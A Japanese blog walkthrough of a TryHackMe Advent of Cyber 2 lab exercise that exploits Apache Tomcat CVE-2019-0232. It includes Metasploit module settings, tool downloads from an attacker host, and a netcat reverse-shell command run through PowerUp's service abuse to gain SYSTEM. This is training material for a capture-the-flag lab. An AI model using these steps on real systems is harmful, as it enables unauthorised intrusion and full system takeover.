[TryHackMe] Advent of Cyber 2, Day 12 - Walkthrough -

本稿では、[TryHackMe](https://tryhackme.com/)にて提供されている「[Advent of Cyber 2](https://tryhackme.com/room/adventofcyber2)」ルームに関する攻略方法（Walkthrough）について検証します。
「Advent of Cyber 2」は「free room」（無料）で提供されています。購読を必要とせずに仮想マシンを「展開（Deploy）」することができます。

>『Advent of Cyber 2』のWalkthroughインデックスを「[[TryHackMe] Advent of Cyber 2に参加してみた](https://qiita.com/v_avenger/items/ac9092374e5bf16a2dd0)」にて公開しました。

# [Day 12] Networking: Ready, set, elf.
## ストーリー
![Day12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/cd8431df-17bf-66c5-c3c3-09309d3d0679.png)

>クリスマスが間近に迫っていますが、**The Best Festival Company（TBFC）**では皆が沈黙しています。何をしているのでしょうか。祭りの時期に怠けている妖精たちの頬！サンタさんの仕事場では怠け者のための時間はありません。そりが満杯になることもないし、善人と悪人のリストも整理されない。サンタさんは、エルフ・McEagerに怠け者のエルフをラインに戻すよう命じました。

## チャレンジ
>仕事場で怠けているエルフ・McSkidyの問題を解決するために、彼はCGIスクリプト `elfwhacker.bat` を作成しました。
>
>このタスクに関連付けられたインスタンスをデプロイし、「[Day 8 - What's Under the Christmas Tree?](https://qiita.com/v_avenger/items/36755058e28c3411cb81)」で習得した`nmap`のスキルを使用して、Webサーバ（`MACHINE_IP`）がどのポートで実行されているかを確認します...。アプリケーションにアクセスして、インストールバージョンを特定し、ナレッジベースでエクスプロイトとMeterpreterペイロードを検索することで、この情報を武器化し、それらでエルフを叩きます！

## ボーナス
*エントリーを取得した後、特権にエスカレートする方法は少なくとも2つあります。これらを見つけ出して、自由にピポットしてください！*

## Day 12 - #1.
>What is the version number of the web server?

IPアドレス `MACHINE_IP`を`tbfc.web`として、`/etc/hosts`に追加します。その上で、`nmap`を使用し、ポートスキャンを実行します。

```
kali@kali:~$ nmap -Pn -T4 -A -vv tbfc.web
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-12 23:34 EST
Nmap scan report for tbfc.web (10.10.194.22)
Host is up, received user-set (0.29s latency).
Scanned at 2020-12-12 23:34:24 EST for 127s
Not shown: 997 filtered ports
Reason: 997 no-responses
PORT     STATE SERVICE            REASON  VERSION
3389/tcp open  ssl/ms-wbt-server? syn-ack
| rdp-ntlm-info: 
|   Target_Name: TBFC-WEB-01
|   NetBIOS_Domain_Name: TBFC-WEB-01
|   NetBIOS_Computer_Name: TBFC-WEB-01
|   DNS_Domain_Name: tbfc-web-01
|   DNS_Computer_Name: tbfc-web-01
|   Product_Version: 10.0.17763
|_  System_Time: 2020-12-13T04:36:26+00:00
| ssl-cert: Subject: commonName=tbfc-web-01
| Issuer: commonName=tbfc-web-01
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-11-27T01:29:04
| Not valid after:  2021-05-29T01:29:04
| MD5:   00ab 1b83 e8e5 f516 f148 d602 2dea 18f4
| SHA-1: bd1d 6535 5d3c 80a3 8a5f 98dd 8f98 44ee 9320 509e
| -----BEGIN CERTIFICATE-----
| MIIC2jCCAcKgAwIBAgIQOyiq2CSH3LdOGa2wARDCfTANBgkqhkiG9w0BAQsFADAW
| MRQwEgYDVQQDEwt0YmZjLXdlYi0wMTAeFw0yMDExMjcwMTI5MDRaFw0yMTA1Mjkw
| MTI5MDRaMBYxFDASBgNVBAMTC3RiZmMtd2ViLTAxMIIBIjANBgkqhkiG9w0BAQEF
| AAOCAQ8AMIIBCgKCAQEAxWQ0kuM5lP6UP6/KtuBNHyu/xFO8H1jG+YVc+srrYdVl
| EgUgMuDrj+mcejNw+2jKEZc4hfMiEGzFtfUypmJjW6WadscyP/uxcKGyPEU4o33M
| V38Quzp6CRe5BpCbtOAMXJ99hmaRFBzh5z4HmPYMhsmRceam1CMx6GtTyY8pjTgn
| yxTLSSvWdg92PB5FCxylTPDIlCpLYac4fFeqVnTvugWZ882PbWHHRN4nAxsU0mnv
| CQpH5r7zr8GTTc+fG9j3jPQcxP1I/GO5s117lq2iyIK/x1S1ZpbeuceqtDIlPUM0
| lVfNp/LxqqrkjBRyn0bR+ftNAtdK28NrX87oLsgVHQIDAQABoyQwIjATBgNVHSUE
| DDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcNAQELBQADggEBABrI
| X16ql60/xDz/hyTb6M6lcXC9UZqug7mJ0DwffL3tYTlNmde/wFcY3Xj7+GgCoSKc
| SVy5D2DeOWOTWrQ4miSqVp1DwmhCSjpJyDOy+Ns+sQLtU2WAHTecmOHjo3IES9N5
| W0kf8XLH88SEEJ9iWGNapMdPXghC6ZgtiGmvX+ODyLjiAwydgaTW3wtuxvPmxfXM
| +2rZYgUBEi5Kk05pcfsBCiF+WHGhNSMdqbX6vCwj/VNemuhQvlTAJxCjXnJ1KXMd
| 8dNb/eirXjvweNrpe71ZO8n1Vn44ItIyY4+5uPSSHdA/bb5BdpVWUDUSxSNCv+G0
| 0idfFvU5QMfmTqzONik=
|_-----END CERTIFICATE-----
|_ssl-date: 2020-12-13T04:36:31+00:00; 0s from scanner time.
8009/tcp open  ajp13              syn-ack Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http               syn-ack Apache Tomcat 9.0.17
|_http-favicon: Apache Tomcat
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Apache Tomcat/9.0.17

Host script results:
|_clock-skew: mean: 0s, deviation: 0s, median: 0s

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:36
Completed NSE at 23:36, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:36
Completed NSE at 23:36, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:36
Completed NSE at 23:36, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 127.78 seconds
```
Webサーバが`8080`ポートにて稼働していることが特定できました。
![ApacheTomcat.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/9bb8340f-8cc2-f799-380b-69bd31466a85.png)

`[チャレンジ]`に記載のCGIスクリプト`elfwhacker.bat`の動作を確認してみます。

```
http://tbfc.web:8080/cgi-bin/elfwhacker.bat
```

![elfwhacker.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/cec32ede-3489-049a-ab59-11ed444149e1.png)

## Day 12 - #2.
>What CVE can be used to create a Meterpreter entry onto the machine? (Format: CVE-XXXX-XXXX)

`searchsploit`コマンドを使って、[Exploit-DB](https://www.exploit-db.com/)に掲載されているexploitコードを検索してみます。

```
kali@kali:~$ searchsploit -w tomcat 9.0
-------------------------------------------------------------------------------------------------------------- --------------------------------------------
 Exploit Title                                                                                                |  URL
-------------------------------------------------------------------------------------------------------------- --------------------------------------------
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (1)  | https://www.exploit-db.com/exploits/42953
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (2)  | https://www.exploit-db.com/exploits/42966
Tomcat proprietaryEvaluate 9.0.0.M1 - Sandbox Escape                                                          | https://www.exploit-db.com/exploits/47892
-------------------------------------------------------------------------------------------------------------- --------------------------------------------
Shellcodes: No Results
```

3つの候補がヒットしました。しかしながら、これらはいずれも正解ではありません。

行き詰まったので`[Question Hint]`を参照してみました。

![Day12-2_Hint.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/178d10bd-2bd6-5f4b-49ce-1f030ef2cb07.png)

ヒントを頼りに再び`searchsploit`で検索してみます。

```
kali@kali:~$ searchsploit -w Tomcat CGI
-------------------------------------------------------------------------------------------------------------- --------------------------------------------
 Exploit Title                                                                                                |  URL
-------------------------------------------------------------------------------------------------------------- --------------------------------------------
Apache Tomcat - CGIServlet enableCmdLineArguments Remote Code Execution (Metasploit)                          | https://www.exploit-db.com/exploits/47073
AWStats 6.x - Apache Tomcat Configuration File Arbitrary Command Execution                                    | https://www.exploit-db.com/exploits/35035
-------------------------------------------------------------------------------------------------------------- --------------------------------------------
Shellcodes: No Results
```

どうやらそれらしきExploitを特定することができました。

![exploitdb.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/d73d4310-39da-167e-239e-768dc3964509.png)

今回の場合、[CVE Details](https://www.cvedetails.com/)を使った方が、正解にたどり着きやすかったのかもしれません。
![CVEDetails.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/57850915-0aac-2288-dc4a-b7aea0503db2.png)

|EDB-ID:|CVE:|
|:---|:---|
|[42953](https://www.exploit-db.com/exploits/42953)|2017-12615|
|[42966](https://www.exploit-db.com/exploits/42966)|2017-12617|
|[47892](https://www.exploit-db.com/exploits/47892)|N/A|
|[47073](https://www.exploit-db.com/exploits/47073)|2019-0232|

## Day 12 - #3.
>Set your Metasploit settings appropriately and gain a foothold onto the deployed machine.

### 攻撃モジュールの検索
`Metasploit Framework`にて[EDB-ID: 47073](https://www.exploit-db.com/exploits/47073)に該当するコードを検索してみます。

```
kali@kali:~$ msfconsole -q
msf5 > search CVE-2019-0232

Matching Modules
================

   #  Name                                         Disclosure Date  Rank       Check  Description
   -  ----                                         ---------------  ----       -----  -----------
   0  exploit/windows/http/tomcat_cgi_cmdlineargs  2019-04-10       excellent  Yes    Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability
```

### 攻撃モジュールの設定
`use`コマンドで先ほど検索した`exploit/windows/http/tomcat_cgi_cmdlineargs`モジュールの使用を宣言します。
宣言に成功すると、プロンプトが`msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) >`に変わります。
モジュールで設定すべき項目を`show options`コマンドにて確認します。
このうち、`[Required]`が`[yes]`になっている項目は設定必須項目です。

値を設定するには`set`コマンドを使用します。

```
msf5 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > show options

Module options (exploit/windows/http/tomcat_cgi_cmdlineargs):

   Name       Current Setting          Required  Description
   ----       ---------------          --------  -----------
   Proxies                             no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.46.5               yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8080                     yes       The target port (TCP)
   SSL        false                    no        Negotiate SSL/TLS for outgoing connections
   SSLCert                             no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /cgi-bin/elfwhacker.bat  yes       The URI path to CGI script
   VHOST                               no        HTTP server virtual host


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.11.19.198     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Apache Tomcat 9.0 or prior for Windows
```

### 攻撃モジュールの実行
`exploit`コマンドにて、エクスプロイトコードを実行します。
![exploit.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/1948ca7b-e8d4-fe27-f131-7c25913ac137.png)

攻撃端末にて`tbfc.web`システムのコマンドを実行するには、`shell`を使用します。これにて自由にコマンドを実行することが可能です。

```
meterpreter > shell
Process 3792 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin>
```

## Day 12 - #4.
>What are the contents of flag1.txt

`flag1.txt`は`C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin`ディレクトリに配置されています。

```
C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 4277-4242

 Directory of C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin

13/12/2020  12:38    <DIR>          .
13/12/2020  12:38    <DIR>          ..
19/11/2020  21:39               825 elfwhacker.bat
19/11/2020  22:06                27 flag1.txt
13/12/2020  12:38            73,802 Wpuzr.exe
               3 File(s)         74,654 bytes
               2 Dir(s)  13,492,957,184 bytes free

C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin>type flag1.txt
type flag1.txt
thm{whac{BLOCKED}lves}
```

## Day 12 - #5.
>Looking for a challenge? Try to find out some of the vulnerabilities present to escalate your privileges!

「[WinPEAS - Windows Privilege Escalation Awesome Scripts](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)」ツールを使ってシステム探索を行います。

### システム探索: WinPEAS

`tbfc.web`へ`winPEASx64.exe`を送信します。
まず、攻撃端末にて`SimpleHTTPServer`を立ち上げます。

```
kali@kali:~/OffsecVM/bin/win$ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
10.10.167.174 - - [13/Dec/2020 09:21:01] "GET /winPEASx64.exe HTTP/1.1" 200 -
```

`tbfc.web`にて`powershell`を起動し、攻撃端末から`winPEASx64.exe`をダウンロードします。

```
c:\>mkdir temp
mkdir temp
A subdirectory or file temp already exists.

c:\>cd temp
cd temp

c:\temp>powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\temp> Invoke-WebRequest "http://10.11.19.198:8080/winPEASx64.exe" -OutFile "winPEASx64.exe"
Invoke-WebRequest "http://10.11.19.198:8080/winPEASx64.exe" -OutFile "winPEASx64.exe"
PS C:\temp> exit
exit

c:\temp>
```

`winPEASx64.exe`を実行します。

![WinPeas.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/1ee182e8-f964-7479-fe87-4d114bdb7b18.png)

```
  [?] Windows vulns search powered by Watson(https://github.com/rasta-mouse/Watson)
    OS Build Number: 17763
       [!] CVE-2019-1315 : VULNERABLE
        [>] https://offsec.almond.consulting/windows-error-reporting-arbitrary-file-move-eop.html

       [!] CVE-2019-1385 : VULNERABLE
        [>] https://www.youtube.com/watch?v=K6gHnr-VkAg

       [!] CVE-2019-1388 : VULNERABLE
        [>] https://github.com/jas502n/CVE-2019-1388

       [!] CVE-2019-1405 : VULNERABLE
        [>] https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/                                                                                                    

    Finished. Found 4 potential vulnerabilities.
```

### システム探索: PowerUp

同様に「[PowerUp.ps1]()」スクリプトを攻撃端末からダウンロードして、システム探索を行います。

```
PS C:\temp> Import-Module c:\temp\PowerUp.ps1
Import-Module c:\temp\PowerUp.ps1
PS C:\temp> .\powerup.ps1
.\powerup.ps1
PS C:\temp> Invoke-AllChecks
Invoke-AllChecks

[*] Running Invoke-AllChecks
[+] Current user already has local administrative privileges!


[*] Checking for unquoted service paths...


[*] Checking service executable and argument permissions...


ServiceName    : PsShutdownSvc
Path           : C:\Windows\PSSDNSVC.EXE
ModifiableFile : C:\Windows\PSSDNSVC.EXE
StartName      : LocalSystem
AbuseFunction  : Install-ServiceBinary -ServiceName 'PsShutdownSvc'
```

### 特権昇格：UsoSvcサービス
`[*] Checking service permissions...`項目に注目します。
SYSTEM特権で実行されている`UsoSvc`（Update Orchestrator Service）の変更が可能であることに着目してください。

```
[*] Checking service permissions...

ServiceName   : UsoSvc
Path          : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -ServiceName 'UsoSvc'
```

`UsoSvc`サービスを再構成します。`nc64.exe`を起動し`SYSTEM`特権のリバースシェルを確立することが狙いです。

```
PS C:\temp> Invoke-ServiceAbuse -ServiceName 'UsoSvc' -Command 'C:\temp\nc64.exe -e cmd.exe 10.11.19.198 5555'
Invoke-ServiceAbuse -ServiceName 'UsoSvc' -Command 'C:\temp\nc64.exe -e cmd.exe 10.11.19.198 5555'
```

```
kali@kali:~$ nc -lnvp 5555
listening on [any] 5555 ...
connect to [10.11.19.198] from (UNKNOWN) [10.10.31.160] 49852
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>hostname && whoami
hostname && whoami
tbfc-web-01
nt authority\system

C:\Windows\system32>
```

![whoami.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/1f1bca99-044d-df77-590a-0888a8549cca.png)

# 参考になるTryHackMeのルーム
- [Introductory Researching](https://tryhackme.com/room/introtoresearch)
- [Metasploit](https://tryhackme.com/room/rpmetasploit)
- [AttackerKB](https://tryhackme.com/room/attackerkb)
- [MITRE](https://tryhackme.com/room/mitre)

# Walkthrough
- BRYAN WENDT, [TryHackMe – Advent of Cyber 2 – Day 12 – Walkthrough]
- NEERANJAN MURUGAN, [Advent of Cyber 2 ~ Try Hack Me](https://neeranjan.com/advent-of-cyber-2-try-hack-me/)